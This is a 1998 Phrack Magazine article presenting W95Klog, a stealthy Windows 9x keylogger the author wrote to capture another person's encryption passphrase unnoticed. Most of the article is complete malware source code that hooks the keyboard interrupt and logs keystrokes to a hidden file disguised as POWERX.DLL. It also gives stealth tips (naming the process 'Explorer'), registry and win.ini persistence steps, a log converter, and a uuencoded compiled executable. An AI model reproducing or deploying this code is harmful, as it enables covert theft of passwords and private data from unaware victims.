---[ Phrack Magazine Volume 8, Issue 53 July 8, 1998, article 07 of 15 -------------------------[ A Stealthy Windows Keylogger --------[ markj8@usa.net I recently felt the need to acquire some data being typed into Windows95 machines on a small TCP-IP network. I had occasional physical access to the machines and I knew the remote administration password, but the files were being saved in BestCryptNP volumes, the passphrase for which I didn't know... I searched the Net as best I could for a suitable keylogging program that would allow me to capture the passphrase without being noticed, but all I could find was I big boggy thing written in visual basic that insisted on opening a window. I decided to write my own. I wanted to write it as a VXD because they run at Privilege Level 0 and can do just about ANYTHING. I soon gave up on this idea because I couldn't acquire the correct tools and certainly couldn't afford to buy them. While browsing through the computer section of my local public library one day I noticed a rather thin book called "WINDOWS ASSEMBLY LANGUAGE and SYSTEMS PROGRAMMING" by Barry Kauler, (ISBN 0 13 020207 X) c 1993. A quick flick through the Table of Contents revealed "Chapter 10: Real-Time Events, Enhanced Mode Hardware Interrupts". I immediately borrowed the book and photocopied it (Sorry about the royalties Barry). As I read chapter 10 I realized that all I needed was a small 16 bit Windows program running as a normal user process to capture every keystroke typed into windows. The only caveat was that keystrokes typed into DOS boxes wouldn't be captured. Big deal. I could live without that. I was stunned to discover that all user programs in Windows share a single Interrupt Descriptor Table (IDT). This implies that if one user program patches a vector in the IDT, then all other programs are immediately affected. The only tool I had for generating windows executables was Borland C Ver 2.0 which makes small and cute windows 3.0 EXE's, so that's what I used. I have tested it on Windows for Workgroups 3.11, Windows 95 OSR2, and Windows 98 beta 3. It will probably work on Windows 3.x as well. As supplied, it will create a hidden file in the \WINDOWS\SYSTEM directory called POWERX.DLL and record all keystrokes into it using the same encoding scheme as Doc Cypher's KEYTRAP3.COM program for DOS. This means that you can use the same conversion program, CONVERT3.C, to convert the raw scancodes in the log file to readable ASCII. I have included a slightly "improved" version of CONVERT3.C with a couple of bugs fixed. I contemplated incorporating the functionality of CONVERT3 into W95Klog, but decided that logging scancodes was "safer" that logging plain ASCII. If the log file is larger that 2 megabytes when the program starts, it will be deleted and re-created with length zero. When you press CTRL-ALT-DEL (in windows95/98) to look at the Task List, W95Klog will show up as "Explorer". You can change this by editing the .DEF file and recompiling, or by HEX Editing the .EXE file. If anyone knows how to stop a user program from showing on this list please tell me. To cause the target machine to run W95Klog every time it starts Windows you can: 1) Edit win.ini, [windows] section to say run=WHLPFFS.EXE or some such confusing name :) Warning! This will cause a nasty error message if WHLPFFS.EXE can't be found. This method has the advantage of being able to be performed over the network via "remote administration" without the need for both computers to be running "remote registry service". 2) Edit the registry key: (Win95/98) `HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run` and create a new key called whatever you like with a string value of "WHLPFFS.EXE" or whatever. This is my preferred method because it is less likely to be stumbled upon by the average user and windows continues without complaint if the executable can't be found. The log file can be retrieved via the network even when it is still open for writing by the logging program. This is very convenient ;). <++> EX/win95log/convert.c // // Convert v3.0 // Keytrap logfile converter. // By dcypher // MSVC++1.52 (Or Borland C 1.01, 2.0 ...) // Released: 8/8/95 // // Scancodes above 185(0xB9) are converted to "", UnKnown. // #include #define MAXKEYS 256 #define WS 128 const char *keys[MAXKEYS]; void main(int argc,char *argv[]) { FILE *stream1; FILE *stream2; unsigned int Ldata,Nconvert=0,Yconvert=0; char logf_name[100],outf_name[100]; // // HERE ARE THE KEY ASSIGNMENTS !! // // You can change them to anything you want. // If any of the key assignments are wrong, please let // me know. I havn't checked all of them, but it looks ok. // // v--- Scancodes logged by the keytrap TSR // v--- Converted to the string here keys[1] = ""; keys[2] = "1"; keys[3] = "2"; keys[4] = "3"; keys[5] = "4"; keys[6] = "5"; keys[7] = "6"; keys[8] = "7"; keys[9] = "8"; keys[10] = "9"; keys[11] = "0"; keys[12] = "-"; keys[13] = "="; keys[14] = ""; keys[15] = ""; keys[16] = "q"; keys[17] = "w"; keys[18] = "e"; keys[19] = "r"; keys[20] = "t"; keys[21] = "y"; keys[22] = "u"; keys[23] = "i"; keys[24] = "o"; keys[25] = "p"; keys[26] = "["; /* = ^Z Choke! */ keys[27] = "]"; keys[28] = ""; keys[29] = ""; keys[30] = "a"; keys[31] = "s"; keys[32] = "d"; keys[33] = "f"; keys[34] = "g"; keys[35] = "h"; keys[36] = "j"; keys[37] = "k"; keys[38] = "l"; keys[39] = ";"; keys[40] = "'"; keys[41] = "`"; keys[42] = ""; // left shift - not logged by the tsr keys[43] = "\\"; // and not converted keys[44] = "z"; keys[45] = "x"; keys[46] = "c"; keys[47] = "v"; keys[48] = "b"; keys[49] = "n"; keys[50] = "m"; keys[51] = ","; keys[52] = "."; keys[53] = "/"; keys[54] = ""; // right shift - not logged by the tsr keys[55] = "*"; // and not converted keys[56] = ""; keys[57] = " "; // now show with shift key // the TSR adds 128 to the scancode to show shift/caps keys[1+WS] = "["; /* was "" but now fixes ^Z problem */ keys[2+WS] = "!"; keys[3+WS] = "@"; keys[4+WS] = "#"; keys[5+WS] = "$"; keys[6+WS] = "%"; keys[7+WS] = "^"; keys[8+WS] = "&"; keys[9+WS] = "*"; keys[10+WS] = "("; keys[11+WS] = ")"; keys[12+WS] = "_"; keys[13+WS] = "+"; keys[14+WS] = ""; keys[15+WS] = ""; keys[16+WS] = "Q"; keys[17+WS] = "W"; keys[18+WS] = "E"; keys[19+WS] = "R"; keys[20+WS] = "T"; keys[21+WS] = "Y"; keys[22+WS] = "U"; keys[23+WS] = "I"; keys[24+WS] = "O"; keys[25+WS] = "P"; keys[26+WS] = "{"; keys[27+WS] = "}"; keys[28+WS] = ""; keys[29+WS] = ""; keys[30+WS] = "A"; keys[31+WS] = "S"; keys[32+WS] = "D"; keys[33+WS] = "F"; keys[34+WS] = "G"; keys[35+WS] = "H"; keys[36+WS] = "J"; keys[37+WS] = "K"; keys[38+WS] = "L"; keys[39+WS] = ":"; keys[40+WS] = "\""; keys[41+WS] = "~"; keys[42+WS] = ""; // left shift - not logged by the tsr keys[43+WS] = "|"; // and not converted keys[44+WS] = "Z"; keys[45+WS] = "X"; keys[46+WS] = "C"; keys[47+WS] = "V"; keys[48+WS] = "B"; keys[49+WS] = "N"; keys[50+WS] = "M"; keys[51+WS] = "<"; keys[52+WS] = ">"; keys[53+WS] = "?"; keys[54+WS] = ""; // right shift - not logged by the tsr keys[55+WS] = ""; // and not converted keys[56+WS] = ""; keys[57+WS] = " "; printf("\n"); printf("Convert v3.0\n"); // printf("Keytrap logfile converter.\n"); // printf("By dcypher \n\n"); printf("Usage: CONVERT infile outfile\n"); printf("\n"); if (argc==3) { strcpy(logf_name,argv[1]); strcpy(outf_name,argv[2]); } else { printf("Enter infile name: "); scanf("%99s",&logf_name); printf("Enter outfile name: "); scanf("%99s",&outf_name); printf("\n"); } stream1=fopen(logf_name,"rb"); stream2=fopen(outf_name,"a+b"); if (stream1==NULL || stream2==NULL) { if (stream1==NULL) printf("Error opening: %s\n\a",logf_name); else printf("Error opening: %s\n\a",outf_name); } else { fseek(stream1,0L,SEEK_SET); printf("Reading data from: %s\n",logf_name); printf("Appending information to..: %s\n",outf_name); while (feof(stream1)==0) { Ldata=fgetc(stream1); if (Ldata>0 && Ldata<186) { if (Ldata==28 || Ldata==28+WS) { fputs(keys[Ldata],stream2); fputc(0x0A,stream2); fputc(0x0D,stream2); Yconvert++; } else fputs(keys[Ldata],stream2); Yconvert++; } else { fputs("",stream2); Nconvert++; } } } fflush(stream2); printf("\n\n"); printf("Data converted....: %i\n",Yconvert); printf("Data not converted: %i\n",Nconvert); printf("\n"); printf("Closeing infile: %s\n",logf_name); printf("Closeing outfile: %s\n",outf_name); fclose(stream1); fclose(stream2); } <--> <++> EX/win95log/W95Klog.c /* * W95Klog.C Windows stealthy keylogging program */ /* * This will ONLY compile with BORLANDC V2.0 small model. * For other compilers you will have to change newint9() * and who knows what else :) * * Captures ALL interesting keystrokes from WINDOWS applications * but NOT from DOS boxes. * Tested OK on WFW 3.11, Win95 OSR2 and Win98 Beta 3. */ #include #include #include #include #include //#define LOGFILE "~473C96.TMP" //Name of log file in WINDOWS\TEMP #define LOGFILE "POWERX.DLL" //Name of log file in WINDOWS\SYSTEM #define LOGMAXSIZE 2097152 //Max size of log file (2Megs) #define HIDDEN 2 #define SEEK_END 2 #define NEWVECT 018h // "Unused" int that is used to call old // int 9 keyboard routine. // Was used for ROMBASIC on XT's // Change it if you get a conflict with some // very odd program. Try 0f9h. /************* Global Variables in DATA SEGment ****************/ HWND hwnd; // used by newint9() unsigned int offsetint; // old int 9 offset unsigned int selectorint; // old int 9 selector unsigned char scancode; // scan code from keyboard //WndProc char sLogPath[160]; int hLogFile; long lLogPos; char sLogBuf[10]; //WinMain char szAppName[]="Explorer"; MSG msg; WNDCLASS wndclass; /***************************************************************/ // //__________________________ void interrupt newint9(void) //This is the new int 9 (keyboard) code // It is a hardware Interrupt Service Routine. (ISR) { scancode=inportb(0x60); if((scancode<0x40)&&(scancode!=0x2a)) { if(peekb(0x0040, 0x0017)&0x40) { //if CAPSLOCK is active // Now we have to flip UPPER/lower state of A-Z only! 16-25,30-38,44-50 if(((scancode>15)&&(scancode<26))||((scancode>29)&&(scancode<39))|| ((scancode>43)&&(scancode<51))) //Phew! scancode^=128; //bit 7 indicates SHIFT state to CONVERT.C program }//if CAPSLOCK if(peekb(0x0040, 0x0017)&3) //if any shift key is pressed... scancode^=128; //bit 7 indicates SHIFT state to CONVERT.C program if(scancode==26) //Nasty ^Z bug in convert program scancode=129; //New code for "[" //Unlike other Windows functions, an application may call PostMessage // at the hardwareinterrupt level. (Thankyou Micr$oft!) PostMessage(hwnd, WM_USER, scancode, 0L); //Send scancode to WndProc() }//if scancode in range asm { //This is very compiler specific, & kinda ugly! pop bp pop di pop si pop ds pop es pop dx pop cx pop bx pop ax int NEWVECT // Call the original int 9 Keyboard routine iret // and return from interrupt } }//end newint9 //This is the "callback" function that handles all messages to our "window" //_____________________________________________________________________ long FAR PASCAL WndProc(HWND hwnd,WORD message,WORD wParam,LONG lParam) { //asm int 3; //For Soft-ice debugging //asm int 18h; //For Soft-ice debugging switch(message) { case WM_CREATE: // hook the keyboard hardware interupt asm { pusha push es push ds // Now get the old INT 9 vector and save it... mov al,9 mov ah,35h // into ES:BX int 21h push es pop ax mov offsetint,bx // save old vector in data segment mov selectorint,ax // / mov dx,OFFSET newint9 // This is an OFFSET in the CODE segment push cs pop ds // New vector in DS:DX mov al,9 mov ah,25h int 21h // Set new int 9 vector pop ds // get data seg for this program push ds // now hook unused vector // to call old int 9 routine mov dx,offsetint mov ax,selectorint mov ds,ax mov ah,25h mov al,NEWVECT int 21h // Installation now finished pop ds pop es popa } // end of asm //Get path to WINDOWS directory if(GetWindowsDirectory(sLogPath,150)==0) return 0; //Put LOGFILE on end of path strcat(sLogPath,"\\SYSTEM\\"); strcat(sLogPath,LOGFILE); do { // See if LOGFILE exists hLogFile=_lopen(sLogPath,OF_READ); if(hLogFile==-1) { // We have to Create it hLogFile=_lcreat(sLogPath,HIDDEN); if(hLogFile==-1) return 0; //Die quietly if can't create LOGFILE } _lclose(hLogFile); // Now it exists and (hopefully) is hidden.... hLogFile=_lopen(sLogPath,OF_READWRITE); //Open for business! if(hLogFile==-1) return 0; //Die quietly if can't open LOGFILE lLogPos=_llseek(hLogFile,0L,SEEK_END); //Seek to the end of the file if(lLogPos==-1) return 0; //Die quietly if can't seek to end if(lLogPos>LOGMAXSIZE) { //Let's not fill the harddrive... _lclose(hLogFile); _chmod(sLogPath,1,0); if(unlink(sLogPath)) return 0; //delete or die }//if file too big } while(lLogPos>LOGMAXSIZE); break; case WM_USER: // A scan code.... *sLogBuf=(char)wParam; _write(hLogFile,sLogBuf,1); break; case WM_ENDSESSION: // Is windows "restarting" ? case WM_DESTROY: // Or are we being killed ? asm{ push dx push ds mov dx,offsetint mov ds,selectorint mov ax,2509h int 21h //point int 09 vector back to old pop ds pop dx } _lclose(hLogFile); PostQuitMessage(0); return(0); } //end switch //This handles all the messages that we don't want to know about return DefWindowProc(hwnd,message,wParam,lParam); }//end WndProc /**********************************************************/ int PASCAL WinMain (HANDLE hInstance, HANDLE hPrevInstance, LPSTR lpszCmdParam, int nCmdShow) { if (!hPrevInstance) { //If there is no previous instance running... wndclass.style = CS_HREDRAW | CS_VREDRAW; wndclass.lpfnWndProc = WndProc; //function that handles messages // for this window class wndclass.cbClsExtra = 0; wndclass.cbWndExtra = 0; wndclass.hInstance = hInstance; wndclass.hIcon = NULL; wndclass.hCursor = NULL; wndclass.hbrBackground = NULL; wndclass.lpszClassName = szAppName; RegisterClass (&wndclass); hwnd = CreateWindow(szAppName, //Create a window szAppName, //window caption WS_OVERLAPPEDWINDOW, //window style CW_USEDEFAULT, //initial x position CW_USEDEFAULT, //initial y position CW_USEDEFAULT, //initial x size CW_USEDEFAULT, //initial y size NULL, //parent window handle NULL, //Window Menu handle hInstance, //program instance handle NULL); //creation parameters //ShowWindow(hwnd,nCmdShow); //We don't want no //UpdateWindow(hwnd); // stinking window! while (GetMessage(&msg,NULL,0,0)) { TranslateMessage(&msg); DispatchMessage(&msg); } }//if no previous instance of this program is running... return msg.wParam; //Program terminates here after falling out } //End of WinMain of the while() loop. <--> <++> EX/win95log/W95KLOG.DEF ;NAME is what shows in CTRL-ALT-DEL Task list... hmmmm NAME Explorer DESCRIPTION 'Explorer' EXETYPE WINDOWS CODE PRELOAD FIXED DATA PRELOAD FIXED SHARED HEAPSIZE 2048 STACKSIZE 8096 <--> <++> EX/win95log/W95KLOG.EXE.uue begin 600 W95KLOG.EXE M35H"`08````$``\`__\``+@`````````0``````````````````````````` M````````````````````D````+H0``X?M`G-(;@!3,TAD)!4:&ES('!R;V=R M86T@;75S="!B92!R=6X@=6YD97(@36EC![\"`;DF`BO/_/.J M,\!0FO__``#_-A@`FO__```+P'4#Z8``M`#-&HD6(`")#B(`M##-(:,D`)K_ M_P``J0$`=`;'!A(`"`#WP@0`=`;'!A0``0",V([`O@(!OP(!Z$X`_S88`/\V M&@#_-A8`_S8<`/\V'@#H(0-0Z-`#C-B.P+X"`;\"`>AG`/\6<@#_%G0`_Q9V M`+C__U":__\``(I&`K1,S2&P_U#HH0.T3,TAM/^+UXO>.]]T%R:`/_]T#"8X M9P%W!B:*9P&+TX/#!NOE.]=T&XO:)H`_`";&!_\&=`'P=:65M8 MS1C/75]>'P=:65M8SXS8D$55B^P>CMA6BW8,B\8]%@!U`^EE`7<0/0$`=!8] M`@!U`^E6`>EZ`3T`!'4#Z30!Z6\!8`8>L`FT-BQ8P`8X>Y`&X M"27-(1]:_S8X`9K__P``:@":__\``#/2,\#K$O]V#E;_=@K_=@C_=@::__\` M`%X?74W*"@!5B^Q6BW8,@WX*`'0#Z98`QP86`0,`C`X:`<<&&`'__\<&'`$` M`,<&'@$``(DV(`''!B(!``#'!B0!``#'!B8!``",'BX!QP8L`50`'F@6`9K_ M_P``'FA4`!YH5`!HSP!J`&@`@&@`@&@`@&@`@&H`:@!6:@!J`)K__P``HQ0! MZQ(>:`(!FO__```>:`(!FO__```>:`(!:@!J`&H`FO__```+P'7;H08!7EW" M"@!5B^Q=PU6+[.L*BQYX`-'C_Y?F`:%X`/\.>``+P'7K_W8$Z!#\65W#58OL M@SYX`"!U!;@!`.L3BQYX`-'CBT8$B8?F`?\&>``SP%W#58OLBTX(M$.*1@:+ M5@3-(7(#D>L$4.@"`%W#58OL5HMV!`OV?!6#_EA^`[Y7`(DVH@"*A*0`F(OP MZQ&+QO?8B_"#_B-_Y<<&H@#__XDV$`"X__]>7<("`%6+[(M>!-'C@:=Z`/_] MM$**1@J+7@2+3@B+5@;-(7("ZP50Z)W_F5W#58OL5E?\BWX$'@>+US+`N?__ M\JZ-=?^+?@:Y___RKO?1*_F']_?&`0!T`J1)T>GSI7,!I))?7EW#58OLM$&+ M5@3-(7($,\#K!%#H3?]=PU6+[(M>!-'C]X=Z```(=!.X`@!0,\`STE!2_W8$ MZ&C_@\0(M$"+7@2+3@B+5@;-(7(/4(M>!-'C@8]Z```06.L$4.@&_UW#&0`# M`0$``0!;``,!)0`!`!<``P$\``$`'@`#`44``@`%``,!9``!`(0``P'%``$` M&``#`6($`@!L``,!4P0"`'(``P%*!`(`<0`#`3P$`@`I``,!%00"`#D`!0#B M`P$`!P(#`;D#`@!K``,!H0,"``8``P&:`P$`40`#`3(#`0!1``,!_0(!`%0` M`P'=`@$`50`#`=("`0!1``,!N`(!`%,``P&C`@$`50`#`74"`0"&``4`3P(! M`%P!`P'M`0(`;@`"`&8!`@!4```````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M````#"X`17AP;&]R97(`7%-94U1%35P`4$]715)8+D1,3```<@1R!'($```! M(`(@`B`$H`*@________________________________________````$P(" M!`4&"`@(%!4%$_\6!1$"_________________P4%____________________ M_P__(P+_#_____\3__\"`@4/`O___Q/__________R/_____(_\3_P`````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` !```` ` end <--> ----[ EOF